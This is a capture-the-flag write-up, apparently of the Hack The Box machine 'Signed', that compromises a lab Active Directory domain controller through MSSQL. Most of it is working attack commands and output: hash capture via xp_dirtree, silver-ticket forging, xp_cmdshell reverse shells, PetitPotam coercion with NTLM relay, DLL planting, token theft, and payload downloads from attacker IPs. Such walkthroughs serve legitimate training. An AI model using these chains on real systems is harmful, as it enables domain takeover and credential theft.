Reconnaissance

PORT     STATE SERVICE  VERSION
1433/tcp open  ms-sql-s Microsoft SQL Server 2022 16.00.1000.00; RTM
| ms-sql-info:
|   10.129.242.173:1433:
|     Version:
|       name: Microsoft SQL Server 2022 RTM
|       number: 16.00.1000.00
|       Product: Microsoft SQL Server 2022
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2025-11-17T15:14:34
|_Not valid after:  2055-11-17T15:14:34
| ms-sql-ntlm-info:
|   10.129.242.173:1433:
|     Target_Name: SIGNED
|     NetBIOS_Domain_Name: SIGNED
|     NetBIOS_Computer_Name: DC01
|     DNS_Domain_Name: SIGNED.HTB
|     DNS_Computer_Name: DC01.SIGNED.HTB
|     DNS_Tree_Name: SIGNED.HTB
|_    Product_Version: 10.0.17763
|_ssl-date: 2025-11-17T15:59:13+00:00; 0s from scanner time.

The target only has a single port open and listens for connections to MSSQL. nmap displays the DNS name signed.htb along with the computer name dc01.signed.htb so it’s safe to assume this is the Domain Controller for the domain. Before having a closer look I add those entries to my /etc/hosts file.

Initial Access

As is common in real life Windows penetration tests, you will start the Signed box with credentials for the following account which can be used to access the MSSQL service: scott:Sm230#C5NatH

Due to the assume-breach scenario I already have working credentials for MSSQL and can log straight in. Unfortunately the user scott seems unprivileged and cannot do much, therefore I try to steal a NTLMv2 hash through xp_dirtree.

$ impacket-mssqlclient scott:'Sm230#C5NatH'@signed.htb
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 
 
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01): Line 1: Changed database context to 'master'.
[*] INFO(DC01): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (160 3232) 
[!] Press help for extra shell commands
SQL (scott  guest@master)> xp_dirtree \\10.10.10.10\share\wow
subdirectory   depth   file   
------------   -----   ----   

As soon as I spin up responder to listen for incoming requests and run the command in the MSSQL shell, there’s a hit from mssqlsvc. Feeding that hash into hashcat returns purPLE9795!@ and grants me access to the domain itself.

$ sudo responder -i tun0
--- SNIP ---
[SMB] NTLMv2-SSP Client   : 10.129.242.173
[SMB] NTLMv2-SSP Username : SIGNED\mssqlsvc
[SMB] NTLMv2-SSP Hash     : mssqlsvc::SIGNED:8ed18788a2657a1d:56D0D<SNIP>

Privilege Escalation

Shell as mssqlsvc

Based on the name mssqlsvc I’m now running in the context of the MSSQL service account but I’m still not high privileged. Enumerating the logins with enum_logins shows every member of the group IT being a sysadmin. Before I can try and forge a silver ticket I have to know the SID of the domain and the RID of the IT group. Executing SUSER_SID returns the desired data, but in the wrong format.

$impacket-mssqlclient -windows-auth mssqlsvc:'purPLE9795!@'@signed.htb
 
SQL (SIGNED\mssqlsvc  guest@master)> enum_logins
name                                type_desc       is_disabled   sysadmin   securityadmin   serveradmin   setupadmin   processadmin   diskadmin   dbcreator   bulkadmin   
---------------------------------   -------------   -----------   --------   -------------   -----------   ----------   ------------   ---------   ---------   ---------   
sa                                  SQL_LOGIN                 0          1               0             0            0              0           0           0           0   
 
##MS_PolicyEventProcessingLogin##   SQL_LOGIN                 1          0               0             0            0              0           0           0           0   
 
##MS_PolicyTsqlExecutionLogin##     SQL_LOGIN                 1          0               0             0            0              0           0           0           0   
 
SIGNED\IT                           WINDOWS_GROUP             0          1               0             0            0              0           0           0           0   
 
NT SERVICE\SQLWriter                WINDOWS_LOGIN             0          1               0             0            0              0           0           0           0   
 
NT SERVICE\Winmgmt                  WINDOWS_LOGIN             0          1               0             0            0              0           0           0           0   
 
NT SERVICE\MSSQLSERVER              WINDOWS_LOGIN             0          1               0             0            0              0           0           0           0   
 
NT AUTHORITY\SYSTEM                 WINDOWS_LOGIN             0          0               0             0            0              0           0           0           0   
 
NT SERVICE\SQLSERVERAGENT           WINDOWS_LOGIN             0          1               0             0            0              0           0           0           0   
 
NT SERVICE\SQLTELEMETRY             WINDOWS_LOGIN             0          0               0             0            0              0           0           0           0   
 
scott                               SQL_LOGIN                 0          0               0             0            0              0           0           0           0   
 
SIGNED\Domain Users                 WINDOWS_GROUP             0          0               0             0            0              0           0           0           0
 
SQL (SIGNED\mssqlsvc  guest@master)> SELECT SUSER_SID('SIGNED\IT')
                                                              
-----------------------------------------------------------   
b'0105000000000005150000005b7bb0f398aa2245ad4a1ca451040000' 

The return value is in binary format and has to be converted first. This can be done directly in MSSQL1 or in other programming languages like Python. The following script takes converts the SID for the IT group into the string representation S-1-5-21-4088429403-1159899800-2753317549-1105.

sid2str.py
def convert(hex_sid: str) -> str:
    b = bytes.fromhex(hex_sid)
    revision = b[0]
    subauth_count = b[1]
 
    identifier_authority = int.from_bytes(b[2:8], byteorder='big')
 
    subauthorities = []
    offset = 8
    for _ in range(subauth_count):
        subauth = int.from_bytes(b[offset:offset+4], byteorder='little')
        subauthorities.append(str(subauth))
        offset += 4
 
    sid = f"S-{revision}-{identifier_authority}-" + "-".join(subauthorities)
    return sid
 
hex_sid = "0105000000000005150000005b7bb0f398aa2245ad4a1ca451040000"
print(convert(hex_sid))

Now I can proceed to craft the silver ticket for any account, I choose the Administrator with well-known ID 500 and supply the domain SID as well as the RID 1105 for the IT group. The SPN does not actually matter because impacket will try to apply the correct one when passing the ticket2. This dumps the forged ticket into Administrator.ccache.

$ impacket-ticketer -nthash $(pypykatz crypto nt 'purPLE9795!@') \
                    -domain-sid S-1-5-21-4088429403-1159899800-2753317549 \
                    -domain signed.htb \
                    -spn doesnotmatter/signed.htb \
                    -groups 1105 \
                    -user-id 500 \
                    Administrator
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
 
[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for signed.htb/Administrator
[*]     PAC_LOGON_INFO
[*]     PAC_CLIENT_INFO_TYPE
[*]     EncTicketPart
[*]     EncAsRepPart
[*] Signing/Encrypting final ticket
[*]     PAC_SERVER_CHECKSUM
[*]     PAC_PRIVSVR_CHECKSUM
[*]     EncTicketPart
[*]     EncASRepPart
[*] Saving ticket in Administrator.ccache

After exporting the ticket as environment variable KRB5CCNAME I can use it with mssqlclient to connect to the target. Checking if the current user is part of the sysadmin group returns true and I can use those privileges to enable xp_cmdshell. Executing a reverse shell payload grants me a shell as mssqlsvc on the Domain Controller.

$ export KRB5CCNAME=Administrator.ccache
 
$ impacket-mssqlclient -k -no-pass signed.htb
 
SQL (SIGNED\Administrator  dbo@master)> SELECT IS_SRVROLEMEMBER('sysadmin');
    
-   
1
 
SQL (SIGNED\Administrator  dbo@master)> enable_xp_cmdshell
INFO(DC01): Line 196: Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
INFO(DC01): Line 196: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
 
SQL (SIGNED\Administrator  dbo@master)> xp_cmdshell "whoami"
output            
---------------   
signed\mssqlsvc 
 
SQL (SIGNED\Administrator  dbo@master)> xp_cmdshell "powershell -e JAB<SNIP>"

Shell as Administrator

The user mssqlsvc is not part of interesting groups and does not have any special privileges assigned to it. The open ports on the machine show the common ones associated with a DC and also WinRMS.

PS > netstat -ano |findstr TCP
  TCP    0.0.0.0:88             0.0.0.0:0              LISTENING       640
  TCP    0.0.0.0:135            0.0.0.0:0              LISTENING       900
  TCP    0.0.0.0:389            0.0.0.0:0              LISTENING       640
  TCP    0.0.0.0:445            0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:464            0.0.0.0:0              LISTENING       640
  TCP    0.0.0.0:593            0.0.0.0:0              LISTENING       900
  TCP    0.0.0.0:636            0.0.0.0:0              LISTENING       640
  TCP    0.0.0.0:1433           0.0.0.0:0              LISTENING       2868
  TCP    0.0.0.0:3268           0.0.0.0:0              LISTENING       640
  TCP    0.0.0.0:3269           0.0.0.0:0              LISTENING       640
  TCP    0.0.0.0:5986           0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:9389           0.0.0.0:0              LISTENING       2824

I then upload chisel and use that to open a SOCKS proxy for me to access all the ports from my local machine. This lets me use nxc to check if the target is vulnerable to NTLM reflection. This means I could relay authentication to ports other than SMB and since WinRMS is available this makes it a good target.

$ proxychains -q nxc smb dc01.signed.htb -u mssqlsvc \
                                         -p 'purPLE9795!@' \
                                         -M ntlm_reflection
SMB         224.0.0.1       445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:SIGNED.HTB) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         224.0.0.1       445    DC01             [+] SIGNED.HTB\mssqlsvc:purPLE9795!@ 
NTLM_REF... 224.0.0.1       445    DC01             VULNERABLE (can relay SMB to other protocols except SMB on 224.0.0.1)

In order for this to work there has to be a special DNS entry pointing towards my machine3. Trying to add this entry with bloodyAD is successful.

$ proxychains -q bloodyAD --host dc01.signed.htb -d signed.htb -u mssqlsvc -p 'purPLE9795!@' add dnsRecord localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA 10.10.10.10
[+] localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA has been successfully updated

At the time of writing ntlmrelayx from impacket does not work properly with WinRMS but there’s already a branch with the needed modifications. After cloning the repository and installing the necessary dependencies, I can spin it up while pointing towards winrms://dc01.signed.htb through the SOCKS proxy.

$ git clone https://github.com/fortra/impacket -b fix_ntlmrelayx_winrmsattack && cd impacket
 
$ uv venv && source .venv/bin/activate
 
$ uv pip install .
 
$ proxychains -q python examples/ntlmrelayx.py -t winrms://dc01.signed.htb \
                                               -smb2support \
                                               -i
Impacket v0.13.0.dev0+20250930.122532.914efa53 - Copyright Fortra, LLC and its affiliated companies 
--- SNIP ---
[*] Servers started, waiting for connections
[*] (SMB): Received connection from 10.129.242.173, attacking target winrms://dc01.signed.htb
[!] The client requested signing, relaying to WinRMS might not work!
[*] HTTP server returned error code 500, this is expected, treating as a successful login
[*] (SMB): Authenticating connection from /@10.129.242.173 against winrms://dc01.signed.htb SUCCEED [1]
[*] winrms:///@dc01.signed.htb [1] -> Started interactive WinRMS shell via TCP on 127.0.0.1:11000
[*] All targets processed!
[*] (SMB): Connection from 10.129.242.173 controlled, but there are no more targets left!

I then use nxc to coerce the DC to authenticate to my relay via the planted DNS entry. As soon as I do this the authentication gets relayed back to the target and an interactive session is opened, accessible by connecting to my local port 11000.

$ proxychains -q nxc smb dc01.signed.htb -u mssqlsvc \
                                         -p 'purPLE9795!@' \
                                         -M coerce_plus \
                                         -o METHOD=PetitPotam LISTENER=localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA
SMB         224.0.0.1       445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:SIGNED.HTB) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         224.0.0.1       445    DC01             [+] SIGNED.HTB\mssqlsvc:purPLE9795!@ 
COERCE_PLUS 224.0.0.1       445    DC01             VULNERABLE, PetitPotam
COERCE_PLUS 224.0.0.1       445    DC01             Exploit Success, efsrpc\EfsRpcAddUsersToFile

With nc I connect to the port and I’m dropped into a shell as NT Authority\System.

$ nc 127.0.0.1 11000
Type help for list of commands
 
# whoami
nt authority\system

Unintended Paths

OPENROWSET

Instead of just adding the IT group to the silver ticket, adding also the 512 (Domain Admins) and 519 (Enterprise Admins) opens another path to privilege escalation. Here I have to create a ticket for the mssqlsvc instead of the Administrator. For OPENROWSET delegation must be possible4 and the built-in administrator is protected.

Authenticating with the ticket allows me to read files in the context of the Domain Admin group and I can read the final flag right away.

$ impacket-ticketer -nthash $(pypykatz crypto nt 'purPLE9795!@') \
                    -domain-sid S-1-5-21-4088429403-1159899800-2753317549 \
                    -domain signed.htb \
                    -spn doesnotmatter/signed.htb \
                    -groups 512,519,1105 \
                    -user-id 1103 \
                    mssqlsvc
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
 
[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for signed.htb/mssqlsvc
[*]     PAC_LOGON_INFO
[*]     PAC_CLIENT_INFO_TYPE
[*]     EncTicketPart
[*]     EncAsRepPart
[*] Signing/Encrypting final ticket
[*]     PAC_SERVER_CHECKSUM
[*]     PAC_PRIVSVR_CHECKSUM
[*]     EncTicketPart
[*]     EncASRepPart
[*] Saving ticket in mssqlsvc.ccache
 
$ export KRB5CCNAME=mssqlsvc.ccache
 
$ impacket-mssqlclient -k -no-pass signed.htb
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 
 
SQL (SIGNED\mssqlsvc  dbo@master)> SELECT BulkColumn FROM OPENROWSET(BULK 'C:\Users\Administrator\Desktop\root.txt', SINGLE_CLOB) t
BulkColumn                                
---------------------------------------   
b'e403638005418<REDACTED>\r\n' 

Now just reading files does not grant me privileged shell on the system (or does it?). OPENROWSET can also be used to write files on the target as shown in this blog post. This enables another way to privilege escalation that 0xdf already showcased in his write-up of Proper.

All the necessary files are contained within this repo and I begin by cloning it and putting up a new SMB server with impacket-smbserver. Then I place phoneinfo.dll into C:\Windows\System32 by using the error output of OPENROWSET.

SELECT BulkColumn FROM OPENROWSET(BULK '\\10.10.10.10\share\phoneinfo.dll',FORMATFILE='\\10.10.10.10\share\input.fmt',CODEPAGE='RAW', ERRORFILE='C:\Windows\System32\phoneinfo.dll') t

With xp_cmdshell I get a shell on the target and then replicate the steps from the source code. First I create the directory C:\programdata\microsoft\windows\wer\reportqueue\a_b_c_d_e and place Report.wer there. The necessary prerequisites are in place and I run the scheduled task QueueReporting. This loads the DLL and opens port 1337.

PS > mkdir C:\programdata\microsoft\windows\wer\reportqueue\a_b_c_d_e
 
 
    Directory: C:\programdata\microsoft\windows\wer\reportqueue
 
 
Mode                LastWriteTime         Length Name                                                                  
----                -------------         ------ ----                                                                  
d-----       11/17/2025   2:18 PM                a_b_c_d_e                                                             
 
 
PS > iwr http://10.10.10.10/Report.wer -outfile C:\programdata\microsoft\windows\wer\reportqueue\a_b_c_d_e\Report.wer
 
PS > cmd /c SCHTASKS /RUN /TN "Microsoft\Windows\Windows Error Reporting\QueueReporting"
SUCCESS: Attempted to run the scheduled task "Microsoft\Windows\Windows Error Reporting\QueueReporting".
 
PS > netstat -ano | findstr 1337
  TCP    127.0.0.1:1337         0.0.0.0:0              LISTENING       4864

Accessing the port via nc drops me into a SYSTEM shell.

proxychains -q nc -v 127.0.0.1 1337
127.0.0.1 [127.0.0.1] 1337 (?) open : Operation now in progress
Microsoft Windows [Version 10.0.17763.7314]
(c) 2018 Microsoft Corporation. All rights reserved.
 
C:\Windows\system32>whoami
whoami
nt authority\system

Token Shenanigans

Another unintended path abuses the fact that service accounts share the same logon session and therefore its possible to steal a more privileged token from rpcss as described here. Exploiting this makes use of NtObjectManager and this can be downloaded on a Windows machine and transferred over5 .

PS C:\tmp> iwr http://10.10.14.227/NtObjectManager.zip -useba -outfile NtObjectManager.zip
 
PS C:\tmp> Expand-Archive -Path .\NtObjectManager.zip -DestinationPath .
 
PS C:\tmp> ls
 
 
    Directory: C:\tmp
 
 
Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----       11/17/2025   3:08 PM                NtObjectManager
-a----       11/17/2025   2:25 PM        9760768 chisel.exe
-a----       11/17/2025   3:08 PM        5808081 NtObjectManager.zip
 
PS C:\tmp> import-module .\NtObjectManager

Now I just follow the steps from the blog post by creating a new named pipe and then listen to it in the background. I open a handle to the pipe and wait for the job to complete. Last but not least I can get the token with additional privileges enabled.

PS > $pipe = New-NtNamedPipeFile \\.\pipe\ABC -Win32Path
PS > $job = Start-Job { $pipe.Listen() }
PS > $file = Get-NtFile \\localhost\pipe\ABC -Win32Path
PS > Wait-Job $job | Out-Null
 
PS > $token = Use-NtObject($pipe.Impersonate()) { Get-NtToken -Impersonation }
 
PS > $token.privileges
 
Name                          Luid              Enabled
----                          ----              -------
SeAssignPrimaryTokenPrivilege 00000000-00000003 True
SeIncreaseQuotaPrivilege      00000000-00000005 True
SeMachineAccountPrivilege     00000000-00000006 True
SeChangeNotifyPrivilege       00000000-00000017 True
SeImpersonatePrivilege        00000000-0000001D True
SeCreateGlobalPrivilege       00000000-0000001E True
SeIncreaseWorkingSetPrivilege 00000000-00000021 True

In possession of the $token, I can use it to spawn a new process with New-Win32Process. The established session now has the SeImpersonatePrivilege enabled and then can be used to escalate privileges.

PS > New-Win32Process -Token $token "powershell -e JABjAGw<SNIP>"
 
 
Process            : powershell.exe
Thread             : thread:1288 - process:2264
Pid                : 2264
Tid                : 1288
TerminateOnDispose : False
ExitStatus         : 259
ExitNtStatus       : STATUS_PENDING

ConsoleHost_History

With the same setup as in OPENROWSET I can also use the read primitive in the Administrators context to access the PowerShell history file for Administrator and get the password for the account. After creating a SOCKS proxy, the password Th1s889Rabb!t lets me access the target via WinRM.

$ impacket-mssqlclient -k -no-pass signed.htb
 
SQL (SIGNED\mssqlsvc  dbo@master)> SELECT BulkColumn FROM OPENROWSET(BULK 'C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_History.txt', SINGLE_CLOB) t
BulkColumn 
--- SNIP ---
Get-NetConnectionProfile
Set-ADAccountPassword -Identity "Administrator" -NewPassword (ConvertTo-SecureString "Th1s889Rabb!t" -AsPlainText -Force) -Reset
Set-Service TermService -StartupType disabled
exit
--- SNIP ---
 
 
$ proxychains -q evil-winrm -u Administrator -p 'Th1s889Rabb!t' -i dc01.signed.htb

Attack Path

flowchart TD

subgraph "Initial Access"
    A(Access to MSSQL as scott) -->|xp_dirtree| B(NTLMv2 for mssqlsvc)
    B -->|Crack Hash| C(Access as mssqlsvc)
end

subgraph "Privilege Escalation"
    C -->|Forge Silver Ticket| D(Sysadmin)
    D -->|xp_cmdshell| E(Shell as mssqlsvc)
    E -->|Create DNS entry| F(localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA pointing to attacker)
    F -->|Coerce authentication & relay to WinRMS| G(Shell as SYSTEM/Administrator)  
end

subgraph "Unintended"
    C -->|Forge Silver Ticket with Domain Admin Group| H(MSSQL Session)
    H -->|OPENROWSET to read ConsoleHost_History with passowrd| G
    H -->|OPENROWSET to write with privileges| I(Write DLL to C:\Windows\System32)
    E & I -->|WerTrigger| J(Open Port 1337)
    J -->|netcat| G
    C -->|Steal Token from rpcss| K(Token with SeImpersonate)
    K -->|getsystem| G
end

Footnotes

  1. How to convert an SQL Server login SID to a readable string

  2. Modifying the SPN

  3. NTLM reflection is dead, long live NTLM reflection!

  4. OPENROWSET - remaks

  5. Install PowerShell Module offline